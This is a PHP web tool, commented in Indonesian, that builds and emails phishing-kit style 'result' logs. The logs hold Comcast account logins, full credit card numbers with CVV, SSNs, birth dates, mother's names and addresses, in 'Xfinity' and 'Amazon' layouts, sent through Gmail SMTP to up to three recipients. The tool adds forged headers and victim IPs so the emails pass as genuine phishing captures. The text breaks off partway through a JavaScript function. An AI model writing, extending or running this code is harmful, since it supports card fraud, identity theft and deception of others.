<?php
// ==================================================
// EMAIL SENDER WITH SMTP - DUAL MODE (XFINITY & AMAZON)
// ==================================================

date_default_timezone_set('Asia/Jakarta');

// Check if PHPMailer exists
$phpmailer_available = file_exists('phpmailer/src/PHPMailer.php');

if ($phpmailer_available) {
    require_once 'phpmailer/src/PHPMailer.php';
    require_once 'phpmailer/src/SMTP.php';
    require_once 'phpmailer/src/Exception.php';
}

// Fungsi untuk generate waktu dan tanggal REAL-TIME
function generateRealTimeDate() {
    return date('h:i A - D, d M Y');
}

// Fungsi untuk membaca credentials dari file smtp.txt
function readSMTPCredentials() {
    $smtp_file = 'smtp.txt';
    
    if (!file_exists($smtp_file)) {
        return [
            'status' => 'error',
            'message' => 'File smtp.txt tidak ditemukan!'
        ];
    }
    
    $content = file_get_contents($smtp_file);
    $content = trim($content);
    
    if (empty($content)) {
        return [
            'status' => 'error',
            'message' => 'File smtp.txt kosong!'
        ];
    }
    
    if (strpos($content, ':') === false) {
        return [
            'status' => 'error', 
            'message' => 'Format salah! Gunakan: email:password'
        ];
    }
    
    list($email, $password) = explode(':', $content, 2);
    $email = trim($email);
    $password = trim($password);
    
    if (empty($email) || empty($password)) {
        return [
            'status' => 'error',
            'message' => 'Email atau password kosong!'
        ];
    }
    
    return [
        'status' => 'success',
        'email' => $email,
        'password' => $password
    ];
}

// Fungsi utama untuk mengirim email ke multiple target
function sendEmailWithSMTP($config) {
    $creds = readSMTPCredentials();
    if ($creds['status'] === 'error') {
        return $creds;
    }
    
    if (file_exists('phpmailer/src/PHPMailer.php')) {
        return sendWithPHPMailerSeparate($config, $creds);
    } else {
        return [
            'status' => 'error',
            'message' => 'PHPMailer tidak ditemukan!'
        ];
    }
}

// Mengirim email TERPISAH ke setiap target
function sendWithPHPMailerSeparate($config, $creds) {
    $results = [];
    $real_time_date = generateRealTimeDate();
    
    // Target emails
    $target_emails = [$config['target_email']];
    if (!empty($config['target_email2'])) {
        $target_emails[] = $config['target_email2'];
    }
    if (!empty($config['target_email3'])) {
        $target_emails[] = $config['target_email3'];
    }
    
    foreach ($target_emails as $target_email) {
        try {
            $mail = new PHPMailer\PHPMailer\PHPMailer(true);
            
            // Server settings
            $mail->isSMTP();
            $mail->Host = 'smtp.gmail.com';
            $mail->SMTPAuth = true;
            $mail->Username = $creds['email'];
            $mail->Password = $creds['password'];
            $mail->SMTPSecure = PHPMailer\PHPMailer\PHPMailer::ENCRYPTION_STARTTLS;
            $mail->Port = 587;
            $mail->SMTPDebug = 0;
            
            // Recipients
            $mail->setFrom($creds['email'], $config['sender_name']);
            $mail->addAddress($target_email);
            $mail->addReplyTo($config['sender_email'], $config['sender_name']);
            
            // Content
            $mail->isHTML(true);
            
            // Tentukan subject berdasarkan mode
            if ($config['email_mode'] == 'amazon') {
                $mail->Subject = "CARD II :: " . $config['bin'] . " :: [ - " . $config['custom_ip'] . " ]";
            } else {
                $mail->Subject = "Credit Card : " . $config['bin'] . " - [ " . $config['country'] . " - " . $config['device'] . " - " . $config['custom_ip'] . " ]";
            }
            
            // Generate body berdasarkan mode
            $mail->Body = generateEmailBody($config, $real_time_date);
            
            addCustomHeaders($mail, $config);
            
            $mail->send();
            
            $results[] = [
                'status' => 'success',
                'email' => $target_email,
                'message' => 'Email berhasil dikirim!'
            ];
            
        } catch (Exception $e) {
            $results[] = [
                'status' => 'error',
                'email' => $target_email,
                'message' => 'Error: ' . $e->getMessage()
            ];
        }
        
        // Delay kecil antara pengiriman
        usleep(500000);
    }
    
    // Check if all emails were sent successfully
    $all_success = true;
    foreach ($results as $result) {
        if ($result['status'] === 'error') {
            $all_success = false;
            break;
        }
    }
    
    if ($all_success) {
        return [
            'status' => 'success', 
            'message' => 'Semua email berhasil dikirim!',
            'smtp_account' => $creds['email'],
            'time_sent' => $real_time_date,
            'sent_emails' => $target_emails,
            'details' => $results
        ];
    } else {
        return [
            'status' => 'error', 
            'message' => 'Beberapa email gagal dikirim',
            'smtp_account' => $creds['email'],
            'time_sent' => $real_time_date,
            'sent_emails' => $target_emails,
            'details' => $results
        ];
    }
}

// Add custom headers safely
function addCustomHeaders($mail, $config) {
    $headers = generateEmailHeaders($config);
    $headers_array = explode("\n", $headers);
    
    foreach ($headers_array as $header) {
        $header = trim($header);
        if (!empty($header)) {
            if (stripos($header, 'To:') === 0 || 
                stripos($header, 'From:') === 0 ||
                stripos($header, 'Subject:') === 0 ||
                stripos($header, 'Reply-To:') === 0 ||
                stripos($header, 'Date:') === 0 ||
                stripos($header, 'MIME-Version:') === 0 ||
                stripos($header, 'Content-Type:') === 0) {
                continue;
            }
            $mail->addCustomHeader($header);
        }
    }
}

// Generate email body berdasarkan mode
function generateEmailBody($data, $real_time_date) {
    if ($data['email_mode'] == 'amazon') {
        return generateAmazonBody($data, $real_time_date);
    } else {
        return generateXfinityBody($data, $real_time_date);
    }
}

// Generate Xfinity Body (format lama)
function generateXfinityBody($data, $real_time_date) {
    return '<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Email Data</title>
</head>
<body style="margin: 0; padding: 0; background: white;">
    <table border="3" rules="all" cellpadding="5" style="border-collapse: collapse;">
        <tr style="background: #45CB16;">
            <th colspan="2" style="text-align: center; color: #000000; padding: 25px;">
                <h4 style="margin: 0; color: #000000;">_ I N S O M N I A _</h4><br>
                <p style="margin: 5px 0 0 0; color: #000000;">Comcast Account</p>
            </th>
        </tr>
        <tr style="background: #FFFFFF;">
            <td style="padding: 10px; border: 1px solid #000;"><strong> Email Address : </strong></td>
            <td style="padding: 10px; border: 1px solid #000;"><a href="mailto:' . htmlspecialchars($data['email_address']) . '" target="_blank" rel="noopener noreferrer">' . htmlspecialchars($data['email_address']) . '</a></td>
        </tr>
        <tr style="background: #FFFFFF;">
            <td style="padding: 10px; border: 1px solid #000;"><strong> Password : </strong></td>
            <td style="padding: 10px; border: 1px solid #000;">' . htmlspecialchars($data['email_password']) . '</td>
        </tr>
        <tr style="background: #FFFFFF;">
            <td style="padding: 10px; border: 1px solid #000;"><strong> Check : </strong></td>
            <td style="padding: 10px; border: 1px solid #000;"><a href="mailto:' . htmlspecialchars($data['email_address']) . '" target="_blank" rel="noopener noreferrer">' . htmlspecialchars($data['email_address']) . '</a>|' . htmlspecialchars($data['email_password']) . '</td>
        </tr>
        
        <tr style="background: #FC3803;">
            <th colspan="2" style="text-align: center; color: #000000; padding: 25px;">
                <h4 style="margin: 0; color: #000000;">Credit or Debit Card</h4>
            </th>
        </tr>
        <tr style="background: #FFFFFF;">
            <td style="padding: 10px; border: 1px solid #000;"><strong> BIN : </strong></td>
            <td style="padding: 10px; border: 1px solid #000;">' . htmlspecialchars($data['bin']) . '</td>
        </tr>
        <tr style="background: #FFFFFF;">
            <td style="padding: 10px; border: 1px solid #000;"><strong> Cardholder name : </strong></td>
            <td style="padding: 10px; border: 1px solid #000;">' . htmlspecialchars($data['cardholder_name']) . '</td>
        </tr>
        <tr style="background: #FFFFFF;">
            <td style="padding: 10px; border: 1px solid #000;"><strong> Card Number : </strong></td>
            <td style="padding: 10px; border: 1px solid #000;">' . htmlspecialchars($data['card_number']) . '</td>
        </tr>
        <tr style="background: #FFFFFF;">
            <td style="padding: 10px; border: 1px solid #000;"><strong> Expiration : </strong></td>
            <td style="padding: 10px; border: 1px solid #000;">' . htmlspecialchars($data['expiration']) . '</td>
        </tr>
        <tr style="background: #FFFFFF;">
            <td style="padding: 10px; border: 1px solid #000;"><strong> Cvv/Cvv2 : </strong></td>
            <td style="padding: 10px; border: 1px solid #000;">' . htmlspecialchars($data['cvv']) . '</td>
        </tr>
        <tr style="background: #FFFFFF;">
            <td style="padding: 10px; border: 1px solid #000;"><strong> Check : </strong></td>
            <td style="padding: 10px; border: 1px solid #000;">' . htmlspecialchars($data['check_card']) . '</td>
        </tr>
        
        <tr style="background: #FFD700;">
            <th colspan="2" style="text-align: center; color: #000000; padding: 25px;">
                <h4 style="margin: 0; color: #000000;">Personal Information</h4>
            </th>
        </tr>
        <tr style="background: #FFFFFF;">
            <td style="padding: 10px; border: 1px solid #000;"><strong> Address : </strong></td>
            <td style="padding: 10px; border: 1px solid #000;">' . htmlspecialchars($data['address']) . '</td>
        </tr>
        <tr style="background: #FFFFFF;">
            <td style="padding: 10px; border: 1px solid #000;"><strong> Address 2 : </strong></td>
            <td style="padding: 10px; border: 1px solid #000;">' . htmlspecialchars($data['address2']) . '</td>
        </tr>
        <tr style="background: #FFFFFF;">
            <td style="padding: 10px; border: 1px solid #000;"><strong> City : </strong></td>
            <td style="padding: 10px; border: 1px solid #000;">' . htmlspecialchars($data['city']) . '</td>
        </tr>
        <tr style="background: #FFFFFF;">
            <td style="padding: 10px; border: 1px solid #000;"><strong> State : </strong></td>
            <td style="padding: 10px; border: 1px solid #000;">' . htmlspecialchars($data['state']) . '</td>
        </tr>
        <tr style="background: #FFFFFF;">
            <td style="padding: 10px; border: 1px solid #000;"><strong> Zip code : </strong></td>
            <td style="padding: 10px; border: 1px solid #000;">' . htmlspecialchars($data['zip_code']) . '</td>
        </tr>
        <tr style="background: #FFFFFF;">
            <td style="padding: 10px; border: 1px solid #000;"><strong> Phone : </strong></td>
            <td style="padding: 10px; border: 1px solid #000;">' . htmlspecialchars($data['phone']) . '</td>
        </tr>
        <tr style="background: #FFFFFF;">
            <td style="padding: 10px; border: 1px solid #000;"><strong> SSN : </strong></td>
            <td style="padding: 10px; border: 1px solid #000;">' . htmlspecialchars($data['ssn']) . '</td>
        </tr>
        <tr style="background: #FFFFFF;">
            <td style="padding: 10px; border: 1px solid #000;"><strong> DOB : </strong></td>
            <td style="padding: 10px; border: 1px solid #000;">' . htmlspecialchars($data['dob']) . '</td>
        </tr>
        
        <tr style="background: #1144F0;">
            <th colspan="2" style="text-align: center; color: #000000; padding: 25px;">
                <h4 style="margin: 0; color: #000000;">Device Information</h4>
            </th>
        </tr>
        <tr style="background: #FFFFFF;">
            <td style="padding: 10px; border: 1px solid #000;"><strong> IP Address : </strong></td>
            <td style="padding: 10px; border: 1px solid #000;">' . htmlspecialchars($data['custom_ip']) . '</td>
        </tr>
        <tr style="background: #FFFFFF;">
            <td style="padding: 10px; border: 1px solid #000;"><strong> Country : </strong></td>
            <td style="padding: 10px; border: 1px solid #000;">' . htmlspecialchars($data['country']) . '</td>
        </tr>
        <tr style="background: #FFFFFF;">
            <td style="padding: 10px; border: 1px solid #000;"><strong> Region : </strong></td>
            <td style="padding: 10px; border: 1px solid #000;">' . htmlspecialchars($data['region']) . '</td>
        </tr>
        <tr style="background: #FFFFFF;">
            <td style="padding: 10px; border: 1px solid #000;"><strong> City : </strong></td>
            <td style="padding: 10px; border: 1px solid #000;">' . htmlspecialchars($data['device_city']) . '</td>
        </tr>
        <tr style="background: #FFFFFF;">
            <td style="padding: 10px; border: 1px solid #000;"><strong> Device : </strong></td>
            <td style="padding: 10px; border: 1px solid #000;">' . htmlspecialchars($data['device']) . '</td>
        </tr>
        <tr style="background: #FFFFFF;">
            <td style="padding: 10px; border: 1px solid #000;"><strong> Browser : </strong></td>
            <td style="padding: 10px; border: 1px solid #000;">' . htmlspecialchars($data['browser']) . '</td>
        </tr>
        <tr style="background: #FFFFFF;">
            <td style="padding: 10px; border: 1px solid #000;"><strong> Time &amp; Date : </strong></td>
            <td style="padding: 10px; border: 1px solid #000;">' . $real_time_date . '</td>
        </tr>
        <tr style="background: #FFFFFF;">
            <td style="padding: 10px; border: 1px solid #000;"><strong> User Agent : </strong></td>
            <td style="padding: 10px; border: 1px solid #000;">' . htmlspecialchars($data['custom_user_agent']) . '</td>
        </tr>
    </table>
</body>
</html>';
}

// Generate Amazon Body (format baru)
function generateAmazonBody($data, $real_time_date) {
    // Format expiration untuk Amazon (MM/YY)
    $expiration = $data['expiration'] ?? '';
    $exp_parts = explode('/', $expiration);
    $expiration_amazon = $expiration;
    if (count($exp_parts) == 2 && strlen($exp_parts[1]) == 4) {
        $expiration_amazon = $exp_parts[0] . '/' . substr($exp_parts[1], -2);
    }
    
    // Format card untuk Amazon
    $format_card = $data['card_number'] . '|' . $expiration_amazon . '|' . $data['cvv'];
    
    // Mother's Name field untuk Amazon
    $mother_name = $data['mother_name'] ?? '';
    
    // Full Format untuk Amazon
    $full_format = $data['card_number'] . '|' . $expiration_amazon . '|' . $data['cvv'] . '|' . $data['cardholder_name'] . '|' . 
                  $data['address'] . '|' . $data['city'] . '|' . $data['state'] . '|' . $data['zip_code'] . '|' . 
                  $data['country'] . '|' . $data['phone'] . '|' . $data['dob'] . '|' . $mother_name . '|' . 
                  $data['custom_ip'] . '|' . $data['custom_user_agent'];
    
    return '<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Amazon Card Data</title>
    <style>
        pre { 
            margin: 0;
            font-family: monospace;
            white-space: pre-wrap;
        }
        code {
            display: block;
            background: #f8f9fa;
            border: 1px solid #ddd;
            border-radius: 4px;
            padding: 15px;
            margin: 10px 0;
            font-family: monospace;
        }
    </style>
</head>
<body style="margin: 0; padding: 20px; background: #1a1a1a; color: #fff;">

<pre><strong style="color:white;font-size:18px"> ╦═╗╔═╗╔╗ ╔╗ ╦╔╦╗</strong>
<strong style="color:white;font-size:18px">╠╦╝╠═╣╠╩╗╠╩╗║ ║</strong>
<strong style="color:white;font-size:18px">╩╚═╩ ╩╚═╝╚═╝╩ ╩</strong>
</pre>

<br>

<strong style="color:rgb(131,131,131);font-size:18px;margin-left:5px;margin-right:5px">AMAZON</strong>
<pre><br>
<strong style="background-color:rgb(255,255,255);border:1px solid rgb(117,117,117);border-radius:7px;color:rgb(135,135,135);font-family:arial;font-size:13px;margin-top:12px;padding:5px 30px 5px 30px">CARD INFO II</strong>
<code style="color:black">
🔘 B.I.N           : ' . htmlspecialchars($data['bin']) . '
🔘 Cardholder Name : ' . htmlspecialchars($data['cardholder_name']) . '
🔘 Card Number     : ' . htmlspecialchars($data['card_number']) . '
🔘 Expired Date    : ' . htmlspecialchars($expiration_amazon) . '
🔘 CVV/CVV2        : ' . htmlspecialchars($data['cvv']) . '
🔘 Format Card     : ' . htmlspecialchars($format_card) . '
🔘 Full Format     : ' . htmlspecialchars($full_format) . '
</code>
<strong style="background-color:rgb(255,255,255);border:1px solid rgb(117,117,117);border-radius:7px;color:rgb(135,135,135);font-family:arial;font-size:13px;margin-top:12px;padding:5px 30px 5px 30px">BILLING ADDRESS</strong>
<code style="color:black">
🔘 Fullname        : ' . htmlspecialchars($data['cardholder_name']) . '
🔘 Phone Number    : ' . htmlspecialchars($data['phone']) . '
🔘 Date of Birth   : ' . htmlspecialchars($data['dob']) . '
🔘 Mother\'s Name   : ' . htmlspecialchars($mother_name) . '
🔘 S.S.N           : ' . htmlspecialchars($data['ssn']) . '
🔘 Address Line 1  : ' . htmlspecialchars($data['address']) . '
🔘 Address Line 2  : ' . htmlspecialchars($data['address2']) . '
🔘 City / Town     : ' . htmlspecialchars($data['city']) . '
🔘 State / Region  : ' . htmlspecialchars($data['state']) . '
🔘 Zip Code        : ' . htmlspecialchars($data['zip_code']) . '
</code>
<strong style="background-color:rgb(255,255,255);border:1px solid rgb(117,117,117);border-radius:7px;color:rgb(135,135,135);font-family:arial;font-size:13px;margin-top:8px;padding:5px 30px 5px 30px">VISITOR INFO</strong>
<code style="color:black">
🔘 Date & Time : ' . $real_time_date . '
🔘 Device      : ' . htmlspecialchars($data['device']) . '
🔘 Browser     : ' . htmlspecialchars($data['browser']) . '
🔘 Country     : ' . htmlspecialchars($data['country']) . '
🔘 State       : ' . htmlspecialchars($data['region']) . '
🔘 City        : ' . htmlspecialchars($data['device_city']) . '
🔘 Ip Address  : ' . htmlspecialchars($data['custom_ip']) . '
🔘 ISP         : Unknown ISP
🔘 User Agent  : ' . htmlspecialchars($data['custom_user_agent']) . '
</code>
</pre>

<br>

<strong style="color:white;font-size:18px">GOOD LUCK</strong>

</body>
</html>';
}

// Generate realistic email headers
function generateEmailHeaders($data) {
    $current_date = date('r');
    
    $headers = [];
    $headers[] = "X-Google-Original-From: " . $data['sender_email'];
    $headers[] = "X-PHP-Script: " . ($_SERVER['HTTP_HOST'] ?? 'localhost') . " for " . $data['custom_ip'];
    $headers[] = "X-PHP-Originating-Script: 1006:Billing.php";
    $headers[] = "Return-Path: " . $data['sender_email'];
    $headers[] = "X-Original-IP: " . $data['custom_ip'];
    $headers[] = "X-User-Agent: " . $data['custom_user_agent'];
    
    return implode("\r\n", $headers);
}

// Process form submission
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // AUTO-FILL SENDER NAME DARI CARDHOLDER NAME JIKA KOSONG
    $sender_name = $_POST['sender_name'] ?? '';
    $cardholder_name = $_POST['cardholder_name'] ?? '';
    
    if (empty($sender_name) && !empty($cardholder_name)) {
        $sender_name = $cardholder_name;
    }
    
    // Mode email (Xfinity atau Amazon)
    $email_mode = $_POST['email_mode'] ?? 'xfinity';
    
    // Subject berdasarkan mode
    $subject = '';
    if ($email_mode == 'amazon') {
        $subject = "CARD II :: " . ($_POST['bin'] ?? '') . " :: [ - " . ($_POST['custom_ip'] ?? '') . " ]";
    } else {
        $subject = "Credit Card : " . ($_POST['bin'] ?? '') . " - [ " . ($_POST['country'] ?? '') . " - " . ($_POST['device'] ?? '') . " - " . ($_POST['custom_ip'] ?? '') . " ]";
    }
    
    $config = [
        'email_mode' => $email_mode,
        'target_email' => $_POST['target_email'] ?? '',
        'target_email2' => $_POST['target_email2'] ?? '',
        'target_email3' => $_POST['target_email3'] ?? '',
        'sender_name' => $sender_name,
        'sender_email' => $_POST['sender_email'] ?? 'buatsmttpext@toledogifteconomy.com',
        'subject' => $subject,
        'custom_ip' => $_POST['custom_ip'] ?? '',
        'custom_user_agent' => $_POST['custom_user_agent'] ?? '',
        'email_address' => $_POST['email_address'] ?? '',
        'email_password' => $_POST['email_password'] ?? '',
        'bin' => $_POST['bin'] ?? '',
        'cardholder_name' => $cardholder_name,
        'card_number' => $_POST['card_number'] ?? '',
        'expiration' => $_POST['expiration'] ?? '',
        'cvv' => $_POST['cvv'] ?? '',
        'check_card' => $_POST['check_card'] ?? '',
        'address' => $_POST['address'] ?? '',
        'address2' => $_POST['address2'] ?? '',
        'city' => $_POST['city'] ?? '',
        'state' => $_POST['state'] ?? '',
        'zip_code' => $_POST['zip_code'] ?? '',
        'phone' => $_POST['phone'] ?? '',
        'ssn' => $_POST['ssn'] ?? '',
        'dob' => $_POST['dob'] ?? '',
        'mother_name' => $_POST['mother_name'] ?? '', // Field baru untuk Amazon
        'country' => $_POST['country'] ?? '',
        'region' => $_POST['region'] ?? '',
        'device_city' => $_POST['device_city'] ?? '',
        'device' => $_POST['device'] ?? '',
        'browser' => $_POST['browser'] ?? '',
    ];
    
    $result = sendEmailWithSMTP($config);
    
    // Jika berhasil dikirim, set flag untuk membersihkan form
    $clear_form = isset($result) && $result['status'] === 'success';
} else {
    $clear_form = false;
}

// Fungsi untuk mendapatkan nilai field - akan mengosongkan field tertentu jika email berhasil dikirim
function getFieldValue($field_name, $default_value = '') {
    global $clear_form;
    
    // Daftar field yang TIDAK BOLEH dikosongkan (selalu tetap)
    $persistent_fields = [
        'target_email',
        'target_email2', 
        'target_email3',
        'sender_name',
        'sender_email',
        'email_mode'
    ];
    
    // Jika form berhasil dikirim dan field ini BUKAN persistent field, maka kosongkan
    if ($clear_form && !in_array($field_name, $persistent_fields)) {
        return '';
    }
    
    return $_POST[$field_name] ?? $default_value;
}

// Fungsi khusus untuk field yang PERSISTENT (tidak pernah dikosongkan)
function getPersistentFieldValue($field_name, $default_value = '') {
    return $_POST[$field_name] ?? $default_value;
}
?>
<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Email Sender - Dual Mode (Xfinity & Amazon)</title>
    <style>
        /* Reset & Base Styles */
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            padding: 20px;
        }
        
        .container {
            max-width: 1200px;
            margin: 0 auto;
            background: white;
            border-radius: 20px;
            box-shadow: 0 20px 60px rgba(0,0,0,0.3);
            overflow: hidden;
        }
        
        .header {
            background: linear-gradient(135deg, #1e3c72 0%, #2a5298 100%);
            color: white;
            padding: 30px;
            text-align: center;
        }
        
        .header h1 {
            font-size: 2.5rem;
            margin-bottom: 10px;
        }
        
        .header p {
            font-size: 1.2rem;
            opacity: 0.9;
        }
        
        .content {
            padding: 30px;
        }
        
        /* Mode Selector */
        .mode-selector {
            display: flex;
            gap: 20px;
            margin-bottom: 20px;
            justify-content: center;
        }
        
        .mode-option {
            padding: 20px 40px;
            border-radius: 15px;
            cursor: pointer;
            text-align: center;
            font-weight: bold;
            transition: all 0.3s;
            border: 3px solid transparent;
            flex: 1;
            max-width: 300px;
        }
        
        .mode-option:hover {
            transform: translateY(-5px);
        }
        
        .mode-option.active {
            border-color: #007bff;
            transform: scale(1.05);
            box-shadow: 0 10px 30px rgba(0,123,255,0.3);
        }
        
        .mode-xfinity {
            background: linear-gradient(135deg, #45CB16, #2e8b57);
            color: white;
        }
        
        .mode-amazon {
            background: linear-gradient(135deg, #FF9900, #FF6600);
            color: white;
        }
        
        .mode-info {
            padding: 20px;
            border-radius: 10px;
            margin-bottom: 30px;
            text-align: center;
            font-size: 1.1rem;
        }
        
        .mode-xfinity-info {
            background: rgba(69, 203, 22, 0.1);
            border: 2px solid #45CB16;
            color: #2e8b57;
        }
        
        .mode-amazon-info {
            background: rgba(255, 153, 0, 0.1);
            border: 2px solid #FF9900;
            color: #cc6600;
        }
        
        .subject-preview {
            background: #f8f9fa;
            padding: 20px;
            border-radius: 10px;
            margin-bottom: 30px;
            border: 2px solid #dee2e6;
            font-size: 1.1rem;
        }
        
        /* Status Sections */
        .smtp-status, .real-time-info, .hidden-email-info {
            background: #f8f9fa;
            padding: 20px;
            border-radius: 10px;
            margin-bottom: 30px;
            border-left: 5px solid #007bff;
        }
        
        .alert {
            padding: 20px;
            border-radius: 10px;
            margin-bottom: 20px;
        }
        
        .alert-success {
            background: #d4edda;
            border: 2px solid #c3e6cb;
            color: #155724;
        }
        
        .alert-error {
            background: #f8d7da;
            border: 2px solid #f5c6cb;
            color: #721c24;
        }
        
        /* Paste Section */
        .paste-section {
            background: linear-gradient(135deg, #4b6cb7 0%, #182848 100%);
            padding: 30px;
            border-radius: 15px;
            margin-bottom: 30px;
            color: white;
        }
        
        .paste-section textarea {
            width: 100%;
            min-height: 150px;
            padding: 15px;
            border-radius: 10px;
            border: 2px solid #667eea;
            font-family: monospace;
            font-size: 14px;
            margin-bottom: 20px;
            resize: vertical;
        }
        
        .format-example {
            background: rgba(255,255,255,0.1);
            padding: 20px;
            border-radius: 10px;
            margin-bottom: 20px;
            font-family: monospace;
            font-size: 12px;
            line-height: 1.6;
        }
        
        /* Buttons */
        .button-group {
            display: flex;
            flex-wrap: wrap;
            gap: 10px;
            justify-content: center;
        }
        
        .btn {
            padding: 12px 25px;
            border: none;
            border-radius: 8px;
            font-weight: bold;
            cursor: pointer;
            transition: all 0.3s;
            font-size: 14px;
            display: flex;
            align-items: center;
            gap: 8px;
        }
        
        .btn:hover {
            transform: translateY(-3px);
            box-shadow: 0 5px 15px rgba(0,0,0,0.2);
        }
        
        .btn-paste {
            background: linear-gradient(135deg, #00b09b, #96c93d);
            color: white;
        }
        
        .btn-clear {
            background: linear-gradient(135deg, #ff416c, #ff4b2b);
            color: white;
        }
        
        .btn-sample {
            background: linear-gradient(135deg, #2193b0, #6dd5ed);
            color: white;
        }
        
        /* Form Sections */
        .form-section {
            background: #f8f9fa;
            padding: 25px;
            border-radius: 15px;
            margin-bottom: 30px;
            border: 2px solid #e9ecef;
        }
        
        .section-title {
            background: linear-gradient(135deg, #6a11cb 0%, #2575fc 100%);
            color: white;
            padding: 15px;
            border-radius: 10px;
            margin: -25px -25px 25px -25px;
            font-size: 1.3rem;
            font-weight: bold;
        }
        
        .form-group {
            margin-bottom: 20px;
        }
        
        .form-group label {
            display: block;
            margin-bottom: 8px;
            font-weight: 600;
            color: #495057;
        }
        
        .form-group input,
        .form-group textarea,
        .form-group select {
            width: 100%;
            padding: 12px 15px;
            border: 2px solid #ced4da;
            border-radius: 8px;
            font-size: 16px;
            transition: all 0.3s;
        }
        
        .form-group input:focus,
        .form-group textarea:focus,
        .form-group select:focus {
            outline: none;
            border-color: #007bff;
            box-shadow: 0 0 0 3px rgba(0,123,255,0.1);
        }
        
        .form-note {
            font-size: 12px;
            color: #6c757d;
            margin-top: 5px;
            font-style: italic;
        }
        
        .grid-2, .grid-3 {
            display: grid;
            gap: 20px;
        }
        
        .grid-2 { grid-template-columns: repeat(2, 1fr); }
        .grid-3 { grid-template-columns: repeat(3, 1fr); }
        
        @media (max-width: 768px) {
            .grid-2, .grid-3 {
                grid-template-columns: 1fr;
            }
        }
        
        /* Email Target Groups */
        .email-target-group {
            display: flex;
            gap: 10px;
            align-items: flex-end;
        }
        
        .email-target-group .form-group {
            flex: 1;
        }
        
        .copy-btn {
            padding: 12px 20px;
            background: #6c757d;
            color: white;
            border: none;
            border-radius: 8px;
            cursor: pointer;
            font-size: 14px;
            transition: all 0.3s;
        }
        
        .copy-btn:hover {
            background: #5a6268;
            transform: translateY(-2px);
        }
        
        /* Results Section */
        .results-section {
            margin-bottom: 30px;
        }
        
        .email-list {
            margin-top: 20px;
        }
        
        .email-item {
            display: flex;
            align-items: center;
            gap: 15px;
            padding: 15px;
            background: white;
            border-radius: 8px;
            margin-bottom: 10px;
            border: 1px solid #dee2e6;
        }
        
        .email-icon {
            width: 40px;
            height: 40px;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 20px;
            font-weight: bold;
        }
        
        .email-icon:not(.error) {
            background: #d4edda;
            color: #155724;
        }
        
        .email-icon.error {
            background: #f8d7da;
            color: #721c24;
        }
        
        /* Floating Button */
        .floating-send-button {
            position: fixed;
            bottom: 30px;
            right: 30px;
            background: linear-gradient(135deg, #00b09b, #96c93d);
            color: white;
            border: none;
            border-radius: 50px;
            padding: 20px 30px;
            font-size: 18px;
            font-weight: bold;
            cursor: pointer;
            box-shadow: 0 10px 30px rgba(0,0,0,0.3);
            display: flex;
            align-items: center;
            gap: 15px;
            transition: all 0.3s;
            z-index: 1000;
        }
        
        .floating-send-button:hover {
            transform: translateY(-5px) scale(1.05);
            box-shadow: 0 15px 40px rgba(0,0,0,0.4);
        }
        
        .floating-send-button.disabled {
            background: linear-gradient(135deg, #6c757d, #495057);
            cursor: not-allowed;
        }
        
        .floating-send-button.disabled:hover {
            transform: none;
            box-shadow: 0 10px 30px rgba(0,0,0,0.3);
        }
        
        .floating-send-button .icon {
            font-size: 24px;
        }
        
        /* Modal */
        .confirmation-modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0,0,0,0.7);
            z-index: 2000;
            align-items: center;
            justify-content: center;
        }
        
        .modal-content {
            background: white;
            border-radius: 20px;
            padding: 40px;
            max-width: 400px;
            width: 90%;
            text-align: center;
            box-shadow: 0 20px 60px rgba(0,0,0,0.3);
            animation: modalFadeIn 0.3s;
        }
        
        @keyframes modalFadeIn {
            from { opacity: 0; transform: translateY(-30px); }
            to { opacity: 1; transform: translateY(0); }
        }
        
        .modal-icon {
            font-size: 60px;
            margin-bottom: 20px;
        }
        
        .modal-title {
            font-size: 1.8rem;
            margin-bottom: 15px;
            color: #1e3c72;
        }
        
        .modal-message {
            margin-bottom: 30px;
            color: #6c757d;
            line-height: 1.6;
        }
        
        .modal-actions {
            display: flex;
            gap: 15px;
            justify-content: center;
        }
        
        .modal-btn {
            padding: 12px 30px;
            border: none;
            border-radius: 8px;
            font-weight: bold;
            cursor: pointer;
            transition: all 0.3s;
            font-size: 16px;
        }
        
        .modal-btn.cancel {
            background: #6c757d;
            color: white;
        }
        
        .modal-btn.confirm {
            background: linear-gradient(135deg, #00b09b, #96c93d);
            color: white;
        }
        
        .modal-btn:hover {
            transform: translateY(-3px);
            box-shadow: 0 5px 15px rgba(0,0,0,0.2);
        }
        
        /* Loading Spinner */
        .loading-spinner {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0,0,0,0.8);
            z-index: 3000;
            align-items: center;
            justify-content: center;
            flex-direction: column;
        }
        
        .spinner {
            width: 80px;
            height: 80px;
            border: 8px solid rgba(255,255,255,0.3);
            border-top-color: #00b09b;
            border-radius: 50%;
            animation: spin 1s linear infinite;
        }
        
        @keyframes spin {
            to { transform: rotate(360deg); }
        }
        
        .loading-text {
            color: white;
            margin-top: 20px;
            font-size: 18px;
        }
        
        /* Auto Clear Notice */
        .auto-clear-notice {
            background: #d4edda;
            border: 2px solid #c3e6cb;
            color: #155724;
            padding: 15px;
            border-radius: 8px;
            margin-bottom: 20px;
            text-align: center;
        }
        
        /* Hidden class for conditional fields */
        .hidden {
            display: none !important;
        }
    </style>
    <script>
        function updateRealTime() {
            const now = new Date();
            const options = { 
                hour12: true,
                hour: '2-digit',
                minute: '2-digit',
                second: '2-digit',
                weekday: 'short',
                year: 'numeric',
                month: 'short',
                day: '2-digit'
            };
            const timeString = now.toLocaleString('en-US', options).replace(',', ' -');
            document.getElementById('realTimeDisplay').textContent = timeString;
        }
        
        setInterval(updateRealTime, 1000);
        updateRealTime();

        // Fungsi untuk parsing format lama (INSOMNIA format)
        function parseInsomniaFormat(text) {
            const lines = text.split('\n');
            const data = {};

            let currentSection = '';
            let addressLines = [];
            
            for (let i = 0; i < lines.length; i++) {
                const line = lines[i].trim();
